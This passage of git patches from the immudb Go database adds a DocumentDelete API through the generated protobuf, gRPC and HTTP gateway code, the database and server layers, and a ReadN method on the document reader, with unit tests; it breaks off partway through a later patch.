( @@ -2345,7 +2454,7 @@ func file_documents_proto_rawDescGZIP() []byte { } var file_documents_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 33) +var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 35) var file_documents_proto_goTypes = []interface{}{ (FieldType)(0), // 0: immudb.model.FieldType (ComparisonOperator)(0), // 1: immudb.model.ComparisonOperator @@ -2382,9 +2491,11 @@ var file_documents_proto_goTypes = []interface{}{ (*DocumentAuditResponse)(nil), // 32: immudb.model.DocumentAuditResponse (*DocumentProofRequest)(nil), // 33: immudb.model.DocumentProofRequest (*DocumentProofResponse)(nil), // 34: immudb.model.DocumentProofResponse - (*structpb.Struct)(nil), // 35: google.protobuf.Struct - (*structpb.Value)(nil), // 36: google.protobuf.Value - (*schema.VerifiableTxV2)(nil), // 37: immudb.schema.VerifiableTxV2 + (*DocumentDeleteRequest)(nil), // 35: immudb.model.DocumentDeleteRequest + (*DocumentDeleteResponse)(nil), // 36: immudb.model.DocumentDeleteResponse + (*structpb.Struct)(nil), // 37: google.protobuf.Struct + (*structpb.Value)(nil), // 38: google.protobuf.Value + (*schema.VerifiableTxV2)(nil), // 39: immudb.schema.VerifiableTxV2 } var file_documents_proto_depIdxs = []int32{ 4, // 0: immudb.model.CollectionCreateRequest.fields:type_name -> immudb.model.Field @@ -2394,50 +2505,53 @@ var file_documents_proto_depIdxs = []int32{ 4, // 4: immudb.model.Collection.fields:type_name -> immudb.model.Field 5, // 5: immudb.model.Collection.indexes:type_name -> immudb.model.Index 8, // 6: immudb.model.CollectionListResponse.collections:type_name -> immudb.model.Collection - 35, // 7: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 35, // 8: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct + 37, // 7: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 37, // 8: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct 26, // 9: immudb.model.DocumentUpdateRequest.query:type_name -> immudb.model.Query - 35, // 10: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct + 37, // 10: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct 26, // 11: immudb.model.DocumentSearchRequest.query:type_name -> immudb.model.Query 27, // 12: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression 28, // 13: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison 1, // 14: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator - 36, // 15: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value + 38, // 15: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value 30, // 16: immudb.model.DocumentSearchResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 35, // 17: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct + 37, // 17: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct 30, // 18: immudb.model.DocumentAuditResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 37, // 19: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 - 2, // 20: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest - 6, // 21: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest - 9, // 22: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest - 11, // 23: immudb.model.DocumentService.CollectionDelete:input_type -> immudb.model.CollectionDeleteRequest - 13, // 24: immudb.model.DocumentService.CollectionUpdate:input_type -> immudb.model.CollectionUpdateRequest - 15, // 25: immudb.model.DocumentService.IndexCreate:input_type -> immudb.model.IndexCreateRequest - 17, // 26: immudb.model.DocumentService.IndexDelete:input_type -> immudb.model.IndexDeleteRequest - 19, // 27: immudb.model.DocumentService.DocumentInsert:input_type -> immudb.model.DocumentInsertRequest - 21, // 28: immudb.model.DocumentService.DocumentInsertMany:input_type -> immudb.model.DocumentInsertManyRequest - 23, // 29: immudb.model.DocumentService.DocumentUpdate:input_type -> immudb.model.DocumentUpdateRequest - 25, // 30: immudb.model.DocumentService.DocumentSearch:input_type -> immudb.model.DocumentSearchRequest - 31, // 31: immudb.model.DocumentService.DocumentAudit:input_type -> immudb.model.DocumentAuditRequest - 33, // 32: immudb.model.DocumentService.DocumentProof:input_type -> immudb.model.DocumentProofRequest - 3, // 33: immudb.model.DocumentService.CollectionCreate:output_type -> immudb.model.CollectionCreateResponse - 7, // 34: immudb.model.DocumentService.CollectionGet:output_type -> immudb.model.CollectionGetResponse - 10, // 35: immudb.model.DocumentService.CollectionList:output_type -> immudb.model.CollectionListResponse - 12, // 36: immudb.model.DocumentService.CollectionDelete:output_type -> immudb.model.CollectionDeleteResponse - 14, // 37: immudb.model.DocumentService.CollectionUpdate:output_type -> immudb.model.CollectionUpdateResponse - 16, // 38: immudb.model.DocumentService.IndexCreate:output_type -> immudb.model.IndexCreateResponse - 18, // 39: immudb.model.DocumentService.IndexDelete:output_type -> immudb.model.IndexDeleteResponse - 20, // 40: immudb.model.DocumentService.DocumentInsert:output_type -> immudb.model.DocumentInsertResponse - 22, // 41: immudb.model.DocumentService.DocumentInsertMany:output_type -> immudb.model.DocumentInsertManyResponse - 24, // 42: immudb.model.DocumentService.DocumentUpdate:output_type -> immudb.model.DocumentUpdateResponse - 29, // 43: immudb.model.DocumentService.DocumentSearch:output_type -> immudb.model.DocumentSearchResponse - 32, // 44: immudb.model.DocumentService.DocumentAudit:output_type -> immudb.model.DocumentAuditResponse - 34, // 45: immudb.model.DocumentService.DocumentProof:output_type -> immudb.model.DocumentProofResponse - 33, // [33:46] is the sub-list for method output_type - 20, // [20:33] is the sub-list for method input_type - 20, // [20:20] is the sub-list for extension type_name - 20, // [20:20] is the sub-list for extension extendee - 0, // [0:20] is the sub-list for field type_name + 39, // 19: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 26, // 20: immudb.model.DocumentDeleteRequest.query:type_name -> immudb.model.Query + 2, // 21: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest + 6, // 22: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest + 9, // 23: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest + 11, // 24: immudb.model.DocumentService.CollectionDelete:input_type -> immudb.model.CollectionDeleteRequest + 13, // 25: immudb.model.DocumentService.CollectionUpdate:input_type -> immudb.model.CollectionUpdateRequest + 15, // 26: immudb.model.DocumentService.IndexCreate:input_type -> immudb.model.IndexCreateRequest + 17, // 27: immudb.model.DocumentService.IndexDelete:input_type -> immudb.model.IndexDeleteRequest + 19, // 28: immudb.model.DocumentService.DocumentInsert:input_type -> immudb.model.DocumentInsertRequest + 21, // 29: immudb.model.DocumentService.DocumentInsertMany:input_type -> immudb.model.DocumentInsertManyRequest + 23, // 30: immudb.model.DocumentService.DocumentUpdate:input_type -> immudb.model.DocumentUpdateRequest + 25, // 31: immudb.model.DocumentService.DocumentSearch:input_type -> immudb.model.DocumentSearchRequest + 31, // 32: immudb.model.DocumentService.DocumentAudit:input_type -> immudb.model.DocumentAuditRequest + 33, // 33: immudb.model.DocumentService.DocumentProof:input_type -> immudb.model.DocumentProofRequest + 35, // 34: immudb.model.DocumentService.DocumentDelete:input_type -> immudb.model.DocumentDeleteRequest + 3, // 35: immudb.model.DocumentService.CollectionCreate:output_type -> immudb.model.CollectionCreateResponse + 7, // 36: immudb.model.DocumentService.CollectionGet:output_type -> immudb.model.CollectionGetResponse + 10, // 37: immudb.model.DocumentService.CollectionList:output_type -> immudb.model.CollectionListResponse + 12, // 38: immudb.model.DocumentService.CollectionDelete:output_type -> immudb.model.CollectionDeleteResponse + 14, // 39: immudb.model.DocumentService.CollectionUpdate:output_type -> immudb.model.CollectionUpdateResponse + 16, // 40: immudb.model.DocumentService.IndexCreate:output_type -> immudb.model.IndexCreateResponse + 18, // 41: immudb.model.DocumentService.IndexDelete:output_type -> immudb.model.IndexDeleteResponse + 20, // 42: immudb.model.DocumentService.DocumentInsert:output_type -> immudb.model.DocumentInsertResponse + 22, // 43: immudb.model.DocumentService.DocumentInsertMany:output_type -> immudb.model.DocumentInsertManyResponse + 24, // 44: immudb.model.DocumentService.DocumentUpdate:output_type -> immudb.model.DocumentUpdateResponse + 29, // 45: immudb.model.DocumentService.DocumentSearch:output_type -> immudb.model.DocumentSearchResponse + 32, // 46: immudb.model.DocumentService.DocumentAudit:output_type -> immudb.model.DocumentAuditResponse + 34, // 47: immudb.model.DocumentService.DocumentProof:output_type -> immudb.model.DocumentProofResponse + 36, // 48: immudb.model.DocumentService.DocumentDelete:output_type -> immudb.model.DocumentDeleteResponse + 35, // [35:49] is the sub-list for method output_type + 21, // [21:35] is the sub-list for method input_type + 21, // [21:21] is the sub-list for extension type_name + 21, // [21:21] is the sub-list for extension extendee + 0, // [0:21] is the sub-list for field type_name } func init() { file_documents_proto_init() } @@ -2842,6 +2956,30 @@ func file_documents_proto_init() { return nil } } + file_documents_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentDeleteRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentDeleteResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } } type x struct{} out := protoimpl.TypeBuilder{ @@ -2849,7 +2987,7 @@ func file_documents_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documents_proto_rawDesc, NumEnums: 2, - NumMessages: 33, + NumMessages: 35, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/protomodel/documents.pb.gw.go b/pkg/api/protomodel/documents.pb.gw.go index c724b5e038..125380745c 100644 --- a/pkg/api/protomodel/documents.pb.gw.go +++ b/pkg/api/protomodel/documents.pb.gw.go @@ -479,6 +479,40 @@ func local_request_DocumentService_DocumentProof_0(ctx context.Context, marshale } +func request_DocumentService_DocumentDelete_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentDeleteRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.DocumentDelete(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_DocumentService_DocumentDelete_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentDeleteRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.DocumentDelete(ctx, &protoReq) + return msg, metadata, err + +} + // RegisterDocumentServiceHandlerServer registers the http handlers for service DocumentService to "mux". // UnaryRPC :call DocumentServiceServer directly. // StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. @@ -784,6 +818,29 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) + mux.Handle("PUT", pattern_DocumentService_DocumentDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_DocumentService_DocumentDelete_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_DocumentDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + return nil } @@ -1085,6 +1142,26 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) + mux.Handle("PUT", pattern_DocumentService_DocumentDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_DocumentService_DocumentDelete_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_DocumentDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + return nil } @@ -1114,6 +1191,8 @@ var ( pattern_DocumentService_DocumentAudit_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "audit"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_DocumentProof_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "proof"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_DocumentService_DocumentDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "delete"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( @@ -1142,4 +1221,6 @@ var ( forward_DocumentService_DocumentAudit_0 = runtime.ForwardResponseMessage forward_DocumentService_DocumentProof_0 = runtime.ForwardResponseMessage + + forward_DocumentService_DocumentDelete_0 = runtime.ForwardResponseMessage ) diff --git a/pkg/api/protomodel/documents_grpc.pb.go b/pkg/api/protomodel/documents_grpc.pb.go index f3dd86ef8e..15526a0691 100644 --- a/pkg/api/protomodel/documents_grpc.pb.go +++ b/pkg/api/protomodel/documents_grpc.pb.go @@ -31,6 +31,7 @@ type DocumentServiceClient interface { DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) DocumentAudit(ctx context.Context, in *DocumentAuditRequest, opts ...grpc.CallOption) (*DocumentAuditResponse, error) DocumentProof(ctx context.Context, in *DocumentProofRequest, opts ...grpc.CallOption) (*DocumentProofResponse, error) + DocumentDelete(ctx context.Context, in *DocumentDeleteRequest, opts ...grpc.CallOption) (*DocumentDeleteResponse, error) } type documentServiceClient struct { @@ -158,6 +159,15 @@ func (c *documentServiceClient) DocumentProof(ctx context.Context, in *DocumentP return out, nil } +func (c *documentServiceClient) DocumentDelete(ctx context.Context, in *DocumentDeleteRequest, opts ...grpc.CallOption) (*DocumentDeleteResponse, error) { + out := new(DocumentDeleteResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentDelete", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + // DocumentServiceServer is the server API for DocumentService service. // All implementations should embed UnimplementedDocumentServiceServer // for forward compatibility @@ -175,6 +185,7 @@ type DocumentServiceServer interface { DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) DocumentAudit(context.Context, *DocumentAuditRequest) (*DocumentAuditResponse, error) DocumentProof(context.Context, *DocumentProofRequest) (*DocumentProofResponse, error) + DocumentDelete(context.Context, *DocumentDeleteRequest) (*DocumentDeleteResponse, error) } // UnimplementedDocumentServiceServer should be embedded to have forward compatible implementations. @@ -220,6 +231,9 @@ func (UnimplementedDocumentServiceServer) DocumentAudit(context.Context, *Docume func (UnimplementedDocumentServiceServer) DocumentProof(context.Context, *DocumentProofRequest) (*DocumentProofResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DocumentProof not implemented") } +func (UnimplementedDocumentServiceServer) DocumentDelete(context.Context, *DocumentDeleteRequest) (*DocumentDeleteResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentDelete not implemented") +} // UnsafeDocumentServiceServer may be embedded to opt out of forward compatibility for this service. // Use of this interface is not recommended, as added methods to DocumentServiceServer will @@ -466,6 +480,24 @@ func _DocumentService_DocumentProof_Handler(srv interface{}, ctx context.Context return interceptor(ctx, in, info, handler) } +func _DocumentService_DocumentDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentDeleteRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).DocumentDelete(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.model.DocumentService/DocumentDelete", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).DocumentDelete(ctx, req.(*DocumentDeleteRequest)) + } + return interceptor(ctx, in, info, handler) +} + // DocumentService_ServiceDesc is the grpc.ServiceDesc for DocumentService service. // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) @@ -525,6 +557,10 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ MethodName: "DocumentProof", Handler: _DocumentService_DocumentProof_Handler, }, + { + MethodName: "DocumentDelete", + Handler: _DocumentService_DocumentDelete_Handler, + }, }, Streams: []grpc.StreamDesc{}, Metadata: "documents.proto", diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index d57309102a..4bb5db9020 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -53,6 +53,8 @@ type DocumentDatabase interface { DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) // DocumentInsertMany creates a new document DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) + // DocumentDelete deletes a document + DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) } // CreateCollection creates a new collection @@ -370,3 +372,15 @@ func (d *db) DocumentProof(ctx context.Context, req *protomodel.DocumentProofReq }, }, nil } + +func (d *db) DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) { + if req == nil { + return nil, ErrIllegalArguments + } + + err := d.documentEngine.DeleteDocument(ctx, req.Collection, req.Query) + if err != nil { + return nil, err + } + return &protomodel.DocumentDeleteResponse{}, nil +} diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 2f1df68dfc..a3fd99c1f2 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -301,3 +301,7 @@ func (d *closedDB) SearchDocuments(ctx context.Context, req *protomodel.Document func (d *closedDB) DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) { return nil, store.ErrAlreadyClosed } + +func (d *closedDB) DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) { + return nil, store.ErrAlreadyClosed +} diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 8486f46b5d..f74cafd5f6 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -276,3 +276,15 @@ func getSearchIDFromRequest(req *protomodel.DocumentSearchRequest) string { return xid.New().String() } + +func (s *ImmuServer) DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) { + db, err := s.getDBFromCtx(ctx, "DocumentDelete") + if err != nil { + return nil, err + } + resp, err := db.DocumentDelete(ctx, req) + if err != nil { + return nil, err + } + return resp, nil +} From 02beb06545a2d1a25c32a51ac1070e0166965fb0 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 3 May 2023 15:33:43 +0530 Subject: [PATCH 0492/1062] chore: add ReadN method to document reader --- embedded/document/document_reader.go | 37 ++++++++++++-- embedded/document/engine.go | 7 +-- embedded/document/engine_test.go | 68 ++++++++++++++++++++++++++ pkg/database/document_database_test.go | 2 +- pkg/server/documents_operations.go | 7 ++- pkg/server/sessions/session.go | 14 ++++-- 6 files changed, 119 insertions(+), 16 deletions(-) diff --git a/embedded/document/document_reader.go b/embedded/document/document_reader.go index f24647a86f..bb75abc3a0 100644 --- a/embedded/document/document_reader.go +++ b/embedded/document/document_reader.go @@ -26,7 +26,10 @@ import ( ) type DocumentReader interface { - Read(ctx context.Context, count int) ([]*protomodel.DocumentAtRevision, error) + // Read reads a single message from a reader and returns it as a Struct message. + Read(ctx context.Context) (*protomodel.DocumentAtRevision, error) + // ReadN reads n number of messages from a reader and returns them as a slice of Struct messages. + ReadN(ctx context.Context, count int) ([]*protomodel.DocumentAtRevision, error) Close() error } @@ -42,8 +45,8 @@ func newDocumentReader(rowReader sql.RowReader, onCloseCallback func(reader Docu } } -// ReadStructMessagesFromReader reads a number of messages from a reader and returns them as a slice of Struct messages. -func (r *documentReader) Read(ctx context.Context, count int) ([]*protomodel.DocumentAtRevision, error) { +// ReadN reads n number of messages from a reader and returns them as a slice of Struct messages. +func (r *documentReader) ReadN(ctx context.Context, count int) ([]*protomodel.DocumentAtRevision, error) { if count < 1 { return nil, sql.ErrIllegalArguments } @@ -88,3 +91,31 @@ func (r *documentReader) Close() error { return r.rowReader.Close() } + +// Read reads a single message from a reader and returns it as a Struct message. +func (r *documentReader) Read(ctx context.Context) (*protomodel.DocumentAtRevision, error) { + var row *sql.Row + row, err := r.rowReader.Read(ctx) + if err == sql.ErrNoMoreRows { + err = ErrNoMoreDocuments + } + if err != nil { + return nil, mayTranslateError(err) + } + + docBytes := row.ValuesByPosition[0].RawValue().([]byte) + + doc := &structpb.Struct{} + err = json.Unmarshal(docBytes, doc) + if err != nil { + return nil, err + } + + revision := &protomodel.DocumentAtRevision{ + TransactionId: 0, // TODO: not yet available + Revision: 0, // TODO: not yet available + Document: doc, + } + + return revision, err +} diff --git a/embedded/document/engine.go b/embedded/document/engine.go index ed7fdf4f22..35e977b5ea 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -950,7 +950,7 @@ func (e *Engine) DeleteDocument(ctx context.Context, collectionName string, quer []sql.Selector{sql.NewColSelector(collectionName, idFieldName)}, collectionName, queryCondition, - sql.NewInteger(1), + nil, nil, ) @@ -958,7 +958,6 @@ func (e *Engine) DeleteDocument(ctx context.Context, collectionName string, quer if err != nil { return mayTranslateError(err) } - defer r.Close() rows := make([]*sql.Row, 0) for { @@ -973,6 +972,8 @@ func (e *Engine) DeleteDocument(ctx context.Context, collectionName string, quer rows = append(rows, row) } + r.Close() + if len(rows) == 0 { return ErrDocumentNotFound } @@ -999,5 +1000,5 @@ func (e *Engine) DeleteDocument(ctx context.Context, collectionName string, quer return mayTranslateError(err) } - return nil + return sqlTx.Commit(ctx) } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 26ea0b8d64..9704954d13 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -23,6 +23,7 @@ import ( "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/stretchr/testify/require" + "google.golang.org/protobuf/types/known/structpb" ) func makeEngine(t *testing.T) *Engine { @@ -960,3 +961,70 @@ func TestPaginationOnReader(t *testing.T) { }) } */ + +func TestDeleteDocument(t *testing.T) { + ctx := context.Background() + engine := makeEngine(t) + // create collection + collectionName := "mycollection" + err := engine.CreateCollection(context.Background(), collectionName, "", []*protomodel.Field{ + {Name: "pincode", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + }, nil) + require.NoError(t, err) + + // add document to collection + _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 2}, + }, + "country": { + Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, + }, + }, + }) + require.NoError(t, err) + + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "country", + Operator: 0, // EQ + Value: &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, + }, + }, + { + Field: "pincode", + Operator: 0, // EQ + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 2}, + }, + }, + }, + }, + }, + } + + reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + require.NoError(t, err) + defer reader.Close() + docs, err := reader.ReadN(ctx, 1) + require.NoError(t, err) + require.Equal(t, 1, len(docs)) + + err = engine.DeleteDocument(ctx, collectionName, query) + require.NoError(t, err) + + err = engine.sqlEngine.GetStore().WaitForIndexingUpto(ctx, engine.sqlEngine.GetStore().LastCommittedTxID()) + require.NoError(t, err) + reader, err = engine.GetDocuments(ctx, collectionName, query, 0) + require.NoError(t, err) + defer reader.Close() + + _, err = reader.Read(ctx) + require.ErrorIs(t, ErrNoMoreDocuments, err) +} diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 2b4a4c3320..5325186b1b 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -120,7 +120,7 @@ func TestDocumentDB_Collection(t *testing.T) { defer reader.Close() - revisions, err := reader.Read(context.Background(), 1) + revisions, err := reader.ReadN(context.Background(), 1) require.NoError(t, err) require.Equal(t, 1, len(revisions)) diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index f74cafd5f6..00c0b1a89a 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -20,7 +20,6 @@ import ( "context" "github.com/codenotary/immudb/embedded/document" - "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/server/sessions" @@ -247,15 +246,15 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.Documen } // read the next page of data from the paginated reader - results, err := resultReader.Read(ctx, int(req.PerPage)) - if err != nil && err != sql.ErrNoMoreRows { + results, err := resultReader.ReadN(ctx, int(req.PerPage)) + if err != nil && err != document.ErrNoMoreDocuments { return nil, err } // update the pagination parameters for this query in the session sess.UpdatePaginatedDocumentReader(searchID, req.Page, req.PerPage, int(pgreader.TotalRead)+len(results)) - if err == sql.ErrNoMoreRows { + if err == document.ErrNoMoreDocuments { // end of data reached, remove the paginated reader and pagination parameters from the session delErr := sess.DeletePaginatedDocumentReader(searchID) if delErr != nil { diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index 978c0da078..3d439cfac7 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -105,7 +105,7 @@ func (s *Session) ClosePaginatedDocumentReaders() error { merr := multierr.NewMultiErr() for qname := range s.paginatedDocumentReaders { - if err := s.DeletePaginatedDocumentReader(qname); err != nil { + if err := s.deletePaginatedDocumentReader(qname); err != nil { s.log.Errorf("Error while removing paginated reader: %v", err) merr.Append(err) } @@ -246,10 +246,7 @@ func (s *Session) GetPaginatedDocumentReader(queryName string) (*PaginatedDocume return reader, nil } -func (s *Session) DeletePaginatedDocumentReader(queryName string) error { - s.mux.Lock() - defer s.mux.Unlock() - +func (s *Session) deletePaginatedDocumentReader(queryName string) error { // get the io.Reader object for the specified query name reader, ok := s.paginatedDocumentReaders[queryName] if !ok { @@ -268,6 +265,13 @@ func (s *Session) DeletePaginatedDocumentReader(queryName string) error { return nil } +func (s *Session) DeletePaginatedDocumentReader(queryName string) error { + s.mux.Lock() + defer s.mux.Unlock() + + return s.deletePaginatedDocumentReader(queryName) +} + func (s *Session) UpdatePaginatedDocumentReader(queryName string, lastPage uint32, lastPageSize uint32, totalDocsRead int) error { s.mux.Lock() defer s.mux.Unlock() From 60164277598ceaefa42a0486ac9195d712e4dc59 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 4 May 2023 11:42:59 +0530 Subject: [PATCH 0493/1062] chore: use sql statement for delete than raw query --- embedded/document/engine.go | 64 +++++------------------------- embedded/sql/sql_tx.go | 2 +- embedded/sql/stmt.go | 11 ++--- pkg/auth/permissions.go | 2 + pkg/database/document_database.go | 2 +- pkg/server/documents_operations.go | 5 ++- 6 files changed, 24 insertions(+), 62 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 35e977b5ea..2c8e4f0be6 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -927,6 +927,7 @@ func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec return entry.Metadata(), v, nil } +// DeleteDocument deletes a single document matching the query func (e *Engine) DeleteDocument(ctx context.Context, collectionName string, query *protomodel.Query) (err error) { sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) if err != nil { @@ -936,69 +937,26 